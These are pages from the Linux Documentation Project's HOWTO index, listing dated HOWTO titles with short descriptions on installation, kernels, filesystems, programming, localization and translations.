    Updated: December 2001. Investigates "State of Art" Sat connections in a Linux environment; how to get them faster and how to share them with many clients.

  • VoIP-HOWTO, VoIP Howto

    Updated: April 2002. Voice Over IP is a new communication means that let you telephone with Internet at almost null cost. This document covers how this is done.

4.4.10. Miscellaneous

  • Home-Network-mini-HOWTO, Red Hat Linux 6. X as an Internet Gateway for a Home Network

    Updated: June 2000. Tutorial on configuring Red Hat 6 and related variants to operate as an internet gateway to a small home or office network. Topics covered include masquerading, DNS, DHCP, and basic security.

  • Pager, The Linux Alphanumeric Pager Gateway Mini-HOWTO

    Updated: July 2001. Discusses the compilation and installation of e-mail to Pager gateway.

  • UUCP-HOWTO, The Linux UUCP HOWTO

    Updated: December 2001. Describes the setup, care & feeding of UUCP under Linux.

Prev | Home | Next
Hardware | Up | Applications / GUI / Multimedia


The Linux OS

LDP HOWTO-INDEX
Prev Chapter 4. Categorized List of HOWTOs Next

4.1. The Linux OS

Topics covered in this section include:

Section 4.1.1 Getting Started
Section 4.1.2 Switching from Other Operating Systems
Section 4.1.3 Distributions
Section 4.1.4 Installation
Section 4.1.5 Kernel
Section 4.1.6 Boot Loaders and Booting the OS
Section 4.1.7 Parallel Processing
Section 4.1.8 Partitions and Filesystems
Section 4.1.9 RAID
Section 4.1.10 Printing
Section 4.1.11 Shell
Section 4.1.12 Using Linux

4.1.1. Getting Started

  • INFO-SHEET, Linux Information Sheet

    Updated: September 1998. Provides basic information about the Linux operating system, including an explanation of Linux, a list of features, some requirements, and some resources.

  • Unix-and-Internet-Fundamentals-HOWTO, The Unix and Internet Fundamentals HOWTO

    Updated: February 2002. Describes the working basics of PC-class computers, Unix-like operating systems, and the Internet in non-technical language.

4.1.2. Switching from Other Operating Systems

  • DOSEMU-HOWTO, The dosemu HOWTO

    Updated: March 1997. DOSEMU stands for DOS Emulation, and is an application that enables the Linux OS to run many DOS programs.

  • DOS-Win-to-Linux-HOWTO, From DOS/Windows to Linux HOWTO

    Updated: August 1999. Written for all the DOS and Windows users who have decided to switch to Linux.

  • Linux+Windows-HOWTO, Linux + Windows HOWTO

    Updated: November 1999. Aimed at assisting those who wish to use the features of both Linux and Windows on the same host.

  • VMS-to-Linux-HOWTO, From VMS to Linux HOWTO

    Updated: September 1999. Aimed at all those who have been using VMS and now need or want to switch to Linux.

4.1.3. Distributions

  • CD-Distributions-EN-HOWTO, English-language GNU/Linux distributions on CD-ROM

    Updated: March 2002. Intended to show prospective users or administrators of a GNU/Linux system the range of choices open to them when deciding on a distribution for the first time. It also aims to help experienced users track the state of the GNU/Linux distributions market. It emphatically does not aim to be a complete list of all GNU/Linux distributions for all platforms and in all languages. The focus is on popular English-language distributions; specifically compiled for the Intel platform; available on CD-ROM; and easily accessible to the first-time user.

    Replaces the Distributions-HOWTO

  • Distributions-HOWTO, Distributions HOWTO

    Updated: March 2002. Replaced by the English-language GNU/Linux distributions on CD-ROM. Now lists CD-ROM-based English-language Linux distributions only.

    Further information on Linux Distributions can be found on the Linux Weekly News (LWN) site: Distributions section.

  • Linux From Scratch HOWTO

    Describes the process of creating your own Linux system from scratch from an already installed Linux distribution, using nothing but the source code of software that we need.

    Replaced by the Linux From Scratch book.

4.1.4. Installation

  • Pre-Installation-Checklist, GNU/Linux Pre-Installation Checklist

    Updated: November 2000. An aide-memoire which may make installation of Linux a pleasant experience for you.

  • Installation-HOWTO, The Linux Installation HOWTO

    Updated: January 2002. How to obtain and install Linux software. It is the first document which a new Linux user should read to get started.

  • Post-Installation-Checklist, GNU/Linux Post-Installation Checklist

    Updated: June 2001. Provides a checklist for steps you should take immediately after installing GNU/Linux.

  • Compaq-Remote-Insight-Board-HOWTO, HOWTO Use a Compaq Remote Insight Lights Out Edition for a Headless, Remote Linux Installation

    Updated: April 2002. Describes the installation of Linux on a headless Compaq ProLiant server with a Compaq Remote Insight Lights-Out Edition card without physical access to the system.

  • Hardware-HOWTO, Linux Hardware Compatibility HOWTO

    Updated: March 2002. Lists most of the hardware supported by Linux and helps you locate any necessary drivers.

  • Install-From-ZIP, Linux Install From PPA-Zip drive mini-HOWTO

    Updated: April 1998. How to install Linux from a parallel port zip drive using the Slackware Linux distribution.

  • Install-Strategies, Linux Installation Strategies

    Updated: May 2001. Discusses a few installation strategies for those who intend to dual-boot between Windows and Linux.

  • KickStart-HOWTO, RedHat Linux KickStart HOWTO

    Updated: January 1999. Briefly describes how to use the RedHat Linux KickStart system to rapidly install large numbers of identical Linux boxes.

  • Linux+DOS+Win95+OS2, The Linux-DOS-Win95-OS2 mini-HOWTO

    Updated: November 1997. Presents a procedure to make 4 operating systems co-exist on a single hard disk.

  • Linux+FreeBSD, The Linux+FreeBSD mini-HOWTO

    Updated: March 2000. How to use Linux and FreeBSD on the same system.

  • Linux+Solaris, Linux+Solaris mini-HOWTO

    Updated: April 2000. Describes how to use Solaris and Linux together on one machine. It addresses common questions like multibooting and file-sharing.

  • Linux+Win95, Linux + Windows 95 mini-HOWTO

    Updated: April 2001. Details how to install Linux on a machine that currently runs Windows 95.

  • Linux+WinNT, Linux+WindowsNT mini-HOWTO

    Updated: May 2002. Covers some ways on how to install both Linux and Windows NT on the same computer and how to boot either of them from within LILO menu.

  • PLIP, LINUX PLIP mini-HOWTO

    Updated: March 1998. Will hopefully let you build and use a Parallel Line Interface Protocol.

  • PLIP-Install-HOWTO, PLIP Install HOWTO

    Updated: December 2001. How to install a Gnu/Linux distribution on a computer without Ethernet card, nor cdrom, but just a local floppy drive and a remote nfs server attached by a Null-Modem parallel cable.

  • RedHat-CD-HOWTO, Burning a RedHat CD HOWTO

    Updated: March 2000. How to make your own CDs from the Red Hat Linux distribution equivalent to the ones commercially available from Red Hat.

  • Saving-Space, Saving Space mini-HOWTO

    Updated: April 1999. Directions for squeezing your Linux installation into the least possible space. Particularly aimed at notebook users.

  • Small-Memory, Small Memory Mini-HOWTO

    Updated: December 2000. How to run Linux on a system with a small amount of memory.

  • Swap-Space, Linux Swap Space Mini-HOWTO

    Updated: January 2000. How to share your Linux swap partition with Windows.

  • Upgrade, Upgrading Your linux Distribution mini-HOWTO

    Updated: March 2002. Hints and tips on upgrading from one linux distribution to another.

4.1.5. Kernel

  • BogoMips, BogoMips mini-HOWTO

    Updated: April 2002. Some information about BogoMips, compiled from various sources.

  • BootPrompt-HOWTO, The Linux BootPrompt HOWTO

    Updated: September 2001. A compilation of all the possible boot time arguments that can be passed to the Linux kernel at boot time. Includes all kernel and device parameters.

  • IO-Perf-HOWTO, I/O Performance HOWTO

    Updated: May 2002. Covers information on available patches for the 2.4 kernel that will improve the I/O performance of your Linux operating system.

  • Kernel-HOWTO, The Linux Kernel HOWTO

    Updated: May 2002. A detailed guide to kernel configuration, compilation, upgrades, and troubleshooting for ix86-based systems.

  • KernelAnalysis-HOWTO, KernelAnalysis-HOWTO

    Updated: May 2002. Explains some things about the Linux Kernel, such as the most important components, how they work, and so on.

  • Kerneld, The Linux kerneld mini-HOWTO

    Updated: May 2000. Explains how you can use the kerneld function in the Linux kernels.

  • Linux-Crash-HOWTO, Linux Crash HOWTO

    Updated: January 2002. Describes the installation and usage of the LKCD (Linux Kernel Crash Dump) package.

  • Module-HOWTO, Linux Loadable Kernel Module HOWTO

    Updated: May 2002. Explains what Linux loadable kernel modules (LKMs) are, and how to use and create them.

  • Modules, Linux Modules Installation mini-HOWTO

    Updated: n/a How to successfully set up Linux with modules configured and working.

  • PA-RISC-Linux-Boot-HOWTO, PA-RISC/Linux Boot HOWTO

    Updated: January 2002. Outlines the procedures for getting the current PA-RISC/Linux development kernel to boot on your PA-RISC system. It also explains the functions of PALO, the kernel loader for PA/Linux.

  • Process-Monitor-HOWTO, Process Monitor HOWTO for Linux

    Updated: February 2002. How to monitor Linux/Unix processes and to re-start them automatically if they die (without any manual intervention).

  • Process-Accounting, Enabling Process Accounting on Linux

    Updated: February 2001. Describes the basics of enabling process accounting on Linux.

4.1.6. Boot Loaders and Booting the OS

  • Bootdisk-HOWTO, The Linux Bootdisk HOWTO

    Updated: January 2002. How to design and build your own boot/root diskettes for Linux.

  • From-PowerUp-To-Bash-Prompt-HOWTO, From Power Up To Bash Prompt

    Updated: November 2000. A brief description of what happens in a Linux system from the time that you turn on the power, to the time that you log in and get a bash prompt.

  • LILO, Lilo mini-HOWTO

    Updated: April 2002. Lilo (LILO) is the most used Linux Loader for the x86 flavour of Linux. This describes some typical Lilo installations. Intended as a supplement to the Lilo User's Guide.

  • Linux-Init-HOWTO, Linux 2.4.x Initialization for IA-32 HOWTO

    Updated: May 2001. A description of the Linux 2.4 kernel initialization sequence on IA-32 processors.

  • Linux+NT-Loader, NT OS Loader + Linux mini-HOWTO

    Updated: September 1997. Describes the use of the Windows NT boot loader to start Linux. This procedures have been tested with Windows NT 4.0 WS and Linux 2.0.

  • Linux+Win9x+Grub-HOWTO, Linux+Win9x+Grub HOWTO

    Updated: January 2002. How to use the GRUB bootloader to turn your computer into a Windows + Linux dual boot machine, without affecting your current Linux installation.

  • Loadlin+Win95-98-ME, The Loadlin+Win95/98/ME mini-HOWTO

    Updated: February 2001. Describes how to use Loadlin with Windows 95/98/ME to boot to Linux.

  • MILO-HOWTO, Alpha Miniloader HOWTO

    Updated: November 2000. Describes the Alpha Linux Miniloader (also known as MILO), a program for Alpha-based systems that can be used to initialize the machine and load Linux.

  • Multiboot-with-GRUB, Multiboot with GRUB Mini-HOWTO

    Updated: January 2001. How to install Windows 98, Windows 2000, DOS and Linux using GRUB.

  • Multiboot-with-LILO, Win95 + WinNT + Linux multiboot using LILO mini-HOWTO

    Updated: March 1998. How to multiboot between Windows 95, Windows NT, and Linux.

  • PA-RISC-Linux-Boot-HOWTO, PA-RISC/Linux Boot HOWTO

    Updated: January 2002. Outlines the procedures for getting the current PA-RISC/Linux development kernel to boot on your PA-RISC system. It also explains the functions of PALO, the kernel loader for PA/Linux.

  • SRM-HOWTO, SRM Firmware HOWTO

    Updated: November 2000. Describes how to boot Linux/Alpha using the SRM console, which is the console firmware also used to boot Compaq Tru64 Unix (also known as Digital Unix and OSF/1) and OpenVMS.

4.1.7. Parallel Processing

  • Parallel-Processing-HOWTO, Linux Parallel Processing HOWTO

    Updated: January 1998. Discusses the four basic approaches to parallel processing that are available to Linux users: SMP Linux systems, clusters of networked Linux systems, parallel execution using multimedia instructions (i.e., MMX), and attached (parallel) processors hosted by a Linux system.

  • SMP-HOWTO, Linux SMP HOWTO

    Updated: October 2000. Reviews main issues related to SMP configuration under Linux.

4.1.8. Partitions and Filesystems

  • Filesystems-HOWTO, Filesystems HOWTO

    Updated: August 2000. About filesystems and accessing filesystems.

  • Ext2fs-Undeletion, Linux Ext2fs Undeletion mini-HOWTO

    Updated: February 1999. Presents a discussion of how to retrieve deleted files from a Second Extended File System.

  • Ext2fs-Undeletion-Dir-Struct, Ext2fs Undeletion of Directory Structures

    Updated: November 2000. Describes a straight forward way of recovering whole directory structures, instead of file by file, that have been removed by a misplaced rm -rf

  • Linux+XFS-HOWTO, Linux + XFS HOWTO : Linux on Steroids

    Updated: May 2002. Describes how to build a Linux system that runs on top of the SGI XFS journaling filesystem.

  • Loopback-Encrypted-Filesystem-HOWTO, Loopback Encrypted Filesystem HOWTO

    Updated: November 1999. Explains how to setup and then use a filesystem that, when mounted by a user, dynamically and transparently encrypts its contents.

  • Loopback-Root-FS, The Loopback Root Filesystem HOWTO

    Updated: September 1999. How to use the Linux loopback device to create a Linux native filesystem format installation that can be run from a DOS partition without re-partitioning.

  • LVM-HOWTO, Logical Volume Manager HOWTO

    Updated: May 2000. A very hands-on HOWTO for Linux LVM.

  • NFS-Root, NFS-Root mini-HOWTO

    Updated: August 1997. How to setup a ``disc-less'' Linux workstation, which mounts it's root filesystems via NFS.

  • NFS-Root-Client-mini-HOWTO, NFS-Root-Client Mini-HOWTO

    Updated: February 1999. How to create client root directories on a server that is using NFS Root mounted clients.

  • Partition, Linux Partition HOWTO

    Updated: July 2001. Teaches you how to plan and layout disk space for your Linux system.

  • Partition-Rescue, Partition Rescue mini HOWTO

    Updated: November 2001. Describes how to rescue your Linux partition if it has been deleted.

  • Swap-Space, Linux Swap Space Mini-HOWTO

    Updated: December 1999. How to share your Linux swap partition with Windows.

  • UMSDOS-HOWTO, UMSDOS HOWTO

    Updated: December 2001. Explains how to use Umsdos (a linux file system) in different configurations, and its operation.

4.1.9. RAID

  • Antares-RAID-sparcLinux-HOWTO, Antares-RAID-sparcLinux-HOWTO

    Updated: April 2000. Describes how to install, configure, and maintain a hardware RAID built around the 5070 SBUS host based RAID controller by Antares Microsystems.

  • ATA-RAID-HOWTO, Linux ATA RAID HOWTO

    Updated: May 2002. Explains how to install Linux on an Intel Pentium compatible computer with an ATA RAID Controller (onboard chip or seperate card), single or multiple processors and at least two hard disks.

  • Boot+Root+Raid+LILO, Boot + Root + Raid + Lilo : Software Raid mini-HOWTO

    Updated: July 2000. A cookbook for setting up root raid using the 0.90 raidtools for bootable raid mounted on root using standard LILO.

  • DPT-Hardware-RAID, Linux DPT Hardware RAID mini-HOWTO

    Updated: February 2002. How to set up hardware RAID under Linux.

  • Root-RAID-HOWTO, Root RAID HOWTO cookbook

    Updated: July 2000. This document only applies to the OLD raidtools, versions 0.50 and under. The workarounds and solutions addressed in this HOWTO have largely been made obsolete by the vast improvment in the 0.90 raidtools and accompanying kernel patch to the 2.0.37, 2.2x and 2.3x series kernels. You may find the detailed descriptions useful, particularly if you plan to run root raid or use initrd.

    original description: A cookbook for creating a root mounted raid filesystem and companion fallback rescue system using linux initrd. Step-by-step instructions for both raid1 and raid5 md0 devices.

  • Software-RAID-HOWTO, Software-RAID HOWTO

    Updated: January 2000 (latest version). How to use Software RAID under Linux. It addresses a specific version of the Software RAID layer, namely the 0.90 RAID layer made by Ingo Molnar and others. This is the RAID layer that will be standard in Linux-2.4, and it is the version that is also used by Linux-2.2 kernels shipped from some vendors. The 0.90 RAID support is available as patches to Linux-2.0 and Linux-2.2, and is by many considered far more stable that the older RAID support already in those kernels.

  • Software-RAID-0.4x-HOWTO, Software-RAID HOWTO (earlier implementation)

    Updated: November 1998. How to use Software RAID under Linux. RAID stands for "Redundant Array of Inexpensive Disks". For users of the Linux MD kernel extension, the associated tools, and their use. This HOWTO addresses an earlier implementation.

4.1.10. Printing

  • Printing-HOWTO, The Linux Printing HOWTO

    Updated: September 2000. A collection of information on how to generate, preview, print and fax anything under Linux (and other Unices in general).

  • Printing-Usage-HOWTO, The Linux Printing Usage HOWTO

    Updated: February 1998. How to use the print system under Linux.

  • Print2Win, The Linux Print2Win mini-HOWTO

    Updated: January 2002. Contains the general configuration to get linux printing to a Windows print share.

4.1.11. Shell

  • Adv-Bash-Scr-HOWTO, Advanced Bash-Scripting HOWTO

    A guide to shell scripting, using Bash.

    Replaced by the Advanced Bash-Scripting Guide.

  • Bash-Prompt-HOWTO, Bash Prompt HOWTO

    Updated: August 2001. Creating and controlling terminal and xterm prompts is discussed, including incorporating standard escape sequences to give username, current working directory, time, etc.

  • Bash-Prog-Intro-HOWTO, BASH Programming - Introduction HOWTO

    Updated: July 2000. This article intends to help you to start programming basic-to-intermediate shell scripts.

4.1.12. Using Linux

  • RPM-HOWTO, RPM HOWTO - RPM at Idle

    Updated: November 1999. RPM is the RPM Package Manager. It is an open packaging system available for anyone to use. It allows users to take source code for new software and package it into source and binary form such that binaries can be easily installed and tracked and source can be rebuilt easily. It also maintains a database of all packages and their files that can be used for verifying packages and querying for information about files and/or packages.

  • RPM+Slackware, RPM+Slackware Mini-Howto

    Updated: April 1998. How to get RPM installed and working properly under Slackware.

  • Software-Building-HOWTO, Building and Installing Software Packages for Linux

    Updated: July 1999. A comprehensive guide to building and installing "generic" UNIX software distributions under Linux.

  • Tips-HOWTO, The Linux Tips HOWTO

    Updated: June 1998. Contains those hard to find hints and tweekings that make Linux a bit nicer.

Prev | Home | Next
Categorized List of HOWTOs | Up | System Administration and Configuration


Other (human) Languages

LDP HOWTO-INDEX
Prev Chapter 4. Categorized List of HOWTOs Next

4.7. Other (human) Languages

Topics covered in this section include:

Section 4.7.1 Language Support
Section 4.7.2 Using Specific Languages

4.7.1. Language Support

  • Unicode-HOWTO, The Unicode HOWTO

    Updated: January 2001. How to change your Linux system so it uses UTF-8 as text encoding.

4.7.2. Using Specific Languages

  • Belarusian-HOWTO, Linux Belarusian mini-HOWTO

    Updated: February 2001. Short guide in setting up Belarusian language support in Linux console, X Window System, web-browsers, text editors, etc. Charsets described are windows-1251, iso-8859-5 and koi8-ru. Written in English.

  • Belgian-HOWTO, The Belgian HOWTO

    Updated: May 2002. How to tweak Linux for Belgian users; lists Linux user groups, businesses and other resources in Belgium.

  • Chinese-HOWTO, Chinese HOWTO

    Updated: June 1998. Demonstrates how to implement Chinese on Linux system, including those common problems encountered while using Chinese, the ways to obtain, and shows how to install and setup a variety of different Chinese software.

  • Danish-HOWTO, The Linux Danish/International HOWTO

    Updated: March 2000. How to configure Linux and various Linux applications for Danish locale standards such as keyboard, font, paper-size etc.

  • Esperanto-HOWTO, Linux-Esperanto-HOWTO

    Updated: August 1999.

  • Finnish-HOWTO, Finnish HOWTO

    Updated: April 2002. Describes how to localize GNU/Linux for Finnish users (written in Finnish).

  • Francophones-HOWTO, Le Francophones-HOWTO : Linux & la langue française

    Updated: December 2001.

  • German-HOWTO, German HOWTO

    Updated: December 2001. Addresses Linux localization issues specific to German users (written in German).

  • Hebrew-HOWTO, The Hebrew HOWTO

    Updated: September 1995. How to configure your Linux machine to use Hebrew characters on X-Windows and Virtual Consoles.

  • Hellenic-HOWTO, Hellenic HOWTO

    Updated: August 1997. Addresses Linux localization issues specific to Greek users (written in Hellenic).

  • Indic-Fonts-HOWTO, The Indic Fonts HOWTO

    Updated: January 2002. A detailed guide on how to install and use Indic scripts (devanagri etc.) using UTF-8 encoding under GNU/Linux.

  • Italian-HOWTO, Linux Italian HOWTO

    Updated: November 1998. Addresses Linux localization issues specific to Italian users (written in Italian).

  • Latvian-HOWTO, Latvian HOWTO

    Updated: March 2002. Describes GNU/Linux localization issues specific for Latvian users (written in Latvian).

  • Portuguese-HOWTO, Portuguese HOWTO

    Updated: December 1999. Addresses Linux localization issues specific to Portuguese users (written in Portuguese).

  • Serbian-HOWTO, Serbian HOWTO

    Updated: November 1998. Addresses Linux localization issues specific to Serbian users (written in Serbian).

  • Slovak-HOWTO, Slovak HOWTO

    Updated: February 2002. Addresses Linux localization issues specific to Slovakian users (written in Slovak).

  • Slovenian-HOWTO, Slovenian HOWTO

    Updated: February 1999. Addresses Linux localization issues specific to Slovenian users (written in Slovenian).

  • Spanish-HOWTO, Spanish Linux HOWTO

    Updated: August 1996. Contains information on Linux in the Spanish environment, for developing software with Spanish support or how to get in touch with the Linux community in Spain (written in Spanish).

  • Thai-HOWTO, The Linux Thai HOWTO

    Updated: August 1998. How to use Thai language with Linux. This will cover setting Thai fonts, Thai keyboard and some Thai applications.

  • Turkish-HOWTO, Turkish HOWTO

    Updated: September 1999. Addresses Linux localization issues specific to Turkish users (written in Turkish).

Prev | Home | Next
Programming | Up | Miscellaneous


Programming

LDP HOWTO-INDEX
Prev Chapter 4. Categorized List of HOWTOs Next

4.6. Programming

Topics covered in this section include:

Section 4.6.1 General
Section 4.6.2 Compilers
Section 4.6.3 Languages
Section 4.6.4 Libraries
Section 4.6.5 Interfaces / API / Protocols
Section 4.6.6 Security
Section 4.6.7 Tools
Section 4.6.8 Version Control
Section 4.6.9 DBMS / Databases
Section 4.6.10 Miscellaneous

4.6.1. General

  • Software-Building-HOWTO, Building and Installing Software Packages for Linux

    Updated: July 1999. A comprehensive guide to building and installing "generic" UNIX software distributions under Linux.

  • Software-Proj-Mgmt-HOWTO, Free Software Project Management HOWTO

    Updated: April 2002. A guide to the non-technical aspects of free software project the non-technical aspects of free software project management; and was written to be a crash course in the people skills that aren't taught to commercial coders but that can make or break a free software project.

  • Software-Release-Practice-HOWTO, Software Release Practice HOWTO

    Updated: January 2002. Describes good release practices for Linux open-source projects.

4.6.2. Compilers

  • GCC-HOWTO, The Linux GCC HOWTO

    Updated: May 1999. Covers how to set up the GNU C compiler and development libraries under Linux; gives an overview of compiling, linking, running and debugging programs under it.

4.6.3. Languages

  • Programming-Languages, Programming Languages mini-HOWTO

    Updated: July 2000. A brief comparison of major programming languages for Linux and major libraries for creating graphical user interfaces (GUIs) under Linux.

  • Adv-Bash-Scr-HOWTO, Advanced Bash-Scripting HOWTO

    A guide to shell scripting, using Bash.

    Replaced by the Advanced Bash-Scripting Guide.

  • Assembly-HOWTO, Linux Assembly HOWTO

    Updated: January 2002. How to program in assembly language using FREE programming tools, focusing on development for or from the Linux Operating System on IA-32 (i386) platform.

  • Bash-Prog-Intro-HOWTO, BASH Programming - Introduction HOWTO

    Updated: July 2000. This article intends to help you to start programming basic-to-intermediate shell scripts.

  • C++Programming-HOWTO, C++ Programming HOWTO

    Updated: April 2002. Discusses methods to avoid memory problems in C++ and also will help you to program properly in C++ language. Applies to all operating sytems.

  • Enterprise-Java-for-Linux-HOWTO, Enterprise Java for Linux HOWTO

    Updated: November 2001. How to set up an Enterprise Java environment on Linux including a JDK, a Web server, supporting Java servlets, accessing a database via JDBC, and supporting Enterprise Java Beans (EJBs).

  • Java-CGI-HOWTO, Java CGI HOWTO

    Updated: December 1998. Explains how to set up your server to allow CGI programs written in Java and how to use Java to write CGI programs.

  • Lex-YACC-HOWTO, Lex and YACC primer/HOWTO

    Updated: May 2001. Helps you get started using Lex and YACC.

  • PHP-HOWTO, PHP HOWTO

    Updated: April 2002. How to develop PHP programs and also to migrate all the Windows 95 GUI applications to powerful PHP + HTML + DHTML + XML + Java applets + Javascript. Applies to all the operating sytems where PHP is ported.

  • TclTk-HOWTO, The Linux Tcl and Tk HOWTO

    Updated: November 1998. Describes the Linux approach to Tcl, a scripting language.

4.6.4. Libraries

  • Program-Library-HOWTO, Program Library HOWTO

    Updated: March 2002. This HOWTO for programmers discusses how to create and use program libraries on Linux. This includes static libraries, shared libraries, and dynamically loaded libraries.

  • Glibc2-HOWTO, Glibc 2 HOWTO

    Updated: June 1998. Covers installing and using the GNU C Library version 2 (libc6) on Linux systems.

  • NCURSES-Programming-HOWTO, NCURSES Programming HOWTO

    Updated: February 2002. An "All in One" guide for programming with ncurses and its sister libraries.

4.6.5. Interfaces / API / Protocols

  • 3D-Modelling, 3D Graphics Modelling and Rendering mini-HOWTO

    Updated: March 2001. Details download and installation instructions for a graphics rendering and modelling development environment using RedHat Linux.

  • IO-Port-Programming, Linux I/O port programming mini-HOWTO

    Updated: December 2000. Describes programming hardware I/O ports and waiting for small periods of time in user-mode Linux programs running on the Intel x86 architecture.

  • Kerneld, The Linux kerneld mini-HOWTO

    Updated: May 2000. Explains how you can use the kerneld function in the Linux kernels.

  • Lego, Lego Mindstorm with Linux Mini-HOWTO

    Updated: October 2000. Intended to serve as a very brief introduction to the options available for using the Lego Group's Mindstorm Robotics Invention System (RIS) from within Linux. It also can be used as a gathering point for more information.

  • Module-HOWTO, Linux Loadable Kernel Module HOWTO

    Updated: May 2002. Explains what Linux loadable kernel modules (LKMs) are, and how to use and create them.

  • NCURSES-Programming-HOWTO, NCURSES Programming HOWTO

    Updated: February 2002. An "All in One" guide for programming with ncurses and its sister libraries.

  • NLM-HOWTO, NetWare Loadable Module Programming HOWTO

    Updated: August 2000. How to develop NetWare Loadable Modules under Linux, using GNU CC and nlmconv(1) from GNU binutils.

  • Parallel-Processing-HOWTO, Linux Parallel Processing HOWTO

    Updated: January 1998. Discusses the four basic approaches to parallel processing that are available to Linux users: SMP Linux systems, clusters of networked Linux systems, parallel execution using multimedia instructions (i.e., MMX), and attached (parallel) processors hosted by a Linux system.

  • Querying-libiptc-HOWTO, Querying libiptc HOWTO

    Updated: April 2002. Explains how to use the libiptc library included in the iptables package and how to use programs to query the internal structures.

  • SCSI-2.4-HOWTO, The Linux SCSI subsystem in 2.4 HOWTO

    Updated: April 2002. Describes the SCSI subsystem as the Linux kernel enters the 2.4 production series. An external view of the SCSI subsystem is the main theme. Material is included to help the system administration of the Linux SCSI subsystem.

  • SCSI-Generic-HOWTO, The Linux SCSI Generic (sg) HOWTO

    Updated: May 2002. Describes the SCSI Generic driver (sg) found in the Linux 2.4 production series of kernels. Focuses on the interface and characteristics of the driver that application writers may need to know.

  • SCSI-Programming-HOWTO, The Linux SCSI programming HOWTO

    Updated: May 1996. Deals with programming the Linux generic SCSI interface.

    Check the SCSI-Generic-HOWTO for more current information.

  • Serial-Programming-HOWTO, Serial Programming HOWTO

    Updated: August 2001. How to program communications with devices over a serial port on a Linux box.

  • SMB-HOWTO, SMB HOWTO

    Updated: April 2000. How to use the Server Message Block (SMB) protocol, also called the Session Message Block, NetBIOS or LanManager protocol, with Linux using Samba.

  • XML-RPC-HOWTO, XML-RPC HOWTO

    Updated: April 2001. Describes how to use XML-RPC to implement clients and servers in a variety of languages. Provides example code; applies to all operating systems with XML-RPC support.

4.6.6. Security

  • Secure-Programs-HOWTO, Secure Programming for Linux and Unix HOWTO

    Updated: March 2002. Provides a set of design and implementation guidelines for writing secure programs for Linux and Unix systems.

4.6.7. Tools

  • C-C++Beautifier-HOWTO, C-C++ Beautifier HOWTO

    Updated: March 2002. Helps you to format (beautify) C/C++ programs so that they are more readable and conform to your site coding standards. Applies to all operating sytems.

  • C-editing-with-VIM-HOWTO, C editing with VIM HOWTO

    Updated: January 2001. An introduction to editing C and other language files whose syntax is similar like C++ and Java in vi/VIM.

  • Java-Decompiler-HOWTO, Java Decompiler HOWTO

    Updated: April 2002. Will help you to de-compile the Java class programs.

  • RPM-HOWTO, RPM HOWTO - RPM at Idle

    Updated: November 1999. RPM is the RPM Package Manager. It is an open packaging system available for anyone to use. It allows users to take source code for new software and package it into source and binary form such that binaries can be easily installed and tracked and source can be rebuilt easily. It also maintains a database of all packages and their files that can be used for verifying packages and querying for information about files and/or packages.

  • RPM-for-Unix-HOWTO, RPM-for-Unix HOW-TO

    Updated: February 2002. This document will help you to setup the Redhat RPM program on various Unix operating systems.

  • Vim-HOWTO, Vim Color Editor HOWTO (Vi Improved w/syntax color highlighting)

    Updated: April 2002. A guide to very quickly setup Vim color editor on Linux or Unix systems.

4.6.8. Version Control

  • CVS-RCS-HOWTO, CVS-RCS HOWTO for Linux (Source Code Control System)

    Updated: March 2002. A "practical guide" to very quickly setup a CVS/RCS source code control system.

  • RCS, The RCS mini-HOWTO

    Updated: August 1997. Covers basic installation and usage of RCS, the GNU Revision Control System, under Linux.

4.6.9. DBMS / Databases

  • DB2-HOWTO, DB2 Version 7.1 for Linux HOWTO

    Updated: June 2001. Explicit instructions on installing DB2 Universal Database Version 7.1 for Linux on the following Intel x86-based distributions: Caldera OpenLinux 2.4, Debian, Red Hat Linux 6.2, SuSE Linux 6.2 and 6.3, and TurboLinux 6.0.

  • IngresII-HOWTO, Ingres II HOWTO

    Updated: September 2001. Helps install the Ingres II Relational Database Management System on Linux.

  • Oracle-7-HOWTO, Oracle 7 Database HOWTO

    Updated: August 1998. A guide to installing and configuring the Oracle 7 Database Server on a Linux system.

  • Oracle-8-HOWTO, Oracle (8) for Linux Installation HOWTO

    Updated: June 2000. A guide to installing and configuring the Oracle 8i Enterprise Edition for Linux.

  • PostgreSQL-HOWTO, Database-SQL-RDBMS HOWTO for Linux

    Removed: January 2002. This HOWTO has been removed for review. Please visit the official PostgreSQL site for information on this topic.

  • WWW-mSQL-HOWTO, A mSQL and perl Web Server HOWTO

    Updated: September 1997. How to build a SQL client/server database using WWW and HTML for the user interface.

4.6.10. Miscellaneous

  • Accessibility-Dev-HOWTO, How to Develop Accessible Linux Applications

    Updated: May 2002. Provides Linux software developers with guidelines and test cases for developing accessible Linux applications.

  • AI-Alife-HOWTO, Linux AI & Alife HOWTO

    Updated: June 2001. Information about, and links to, various AI related software libraries, applications, etc. that work on the Linux platform.

  • Apache-Compile-HOWTO, Apache Compile HOWTO (Linux edition)

    Updated: April 2002. Describes how to compile the Apache Webserver with important modules like mod_perl, mod_dav, mod_auth_ldap, mod_dynvhost, mod_roaming, mod_jserv, and mod_php.

  • HighQuality-Apps-HOWTO, Creating Integrated High Quality Linux Applications HOWTO

    Updated: May 2002. Tries to clarify some issues and give tips on how to create Linux applications highly integrated to the Operating System, security and easy of use.

  • Multi-Distro-Dev, Development for Multiple Linux Distributions mini-HOWTO

    Updated: December 2001. Outlines a quick hack to aid in developing and testing user-space programs for multiple Linux distributions.

  • Tango-HOWTO, Tango 2000 HOWTO

    Updated: July 2000. Describes the installation, configuration, and basic troubleshooting of Pervasive Software's Tango Application Server on Sun Solaris and various flavours of Linux.

Prev | Home | Next
Applications / GUI / Multimedia | Up | Other (human) Languages


HOWTO Translations

LDP HOWTO-INDEX
Prev Next

Chapter 3. HOWTO Translations

HOWTO translations are available on ibiblio.org and mirrors around the world. So far, there are:

  • Chinese (zh)

  • Croatian (hr)

  • French (fr)

  • German (de)

  • Hellenic (el)

  • Indonesian (id)

  • Italian (it)

  • Japanese (ja)

  • Korean (ko)

  • Polish (pl)

  • Slovenian (sl)

  • Spanish (es)

  • Swedish (sv)

  • Turkish (tr)

If you know of any other translation projects, please let us know and they will be added to this list. If you are interested in getting your translations archived on metalab.unc.edu, please read the directory structure specification at http://metalab.unc.edu/pub/Linux/docs/HOWTO/translations/Directory-Structure and contact the LDP.

Prev | Home | Next
Where Can I Get Linux HOWTOs? |  | Categorized List of HOWTOs


Unmaintained HOWTOs

LDP HOWTO-INDEX
Prev Next

Chapter 7. Unmaintained HOWTOs

There are a number of unmaintained documents, which can be found at: http://tldp.org/authors/unmaint.html.

These are kept around since old documentation is sometimes better than none. However, you should be aware that you are reading old documentation.

If the date tag is too old, please consider the HOWTO as unmaintained.

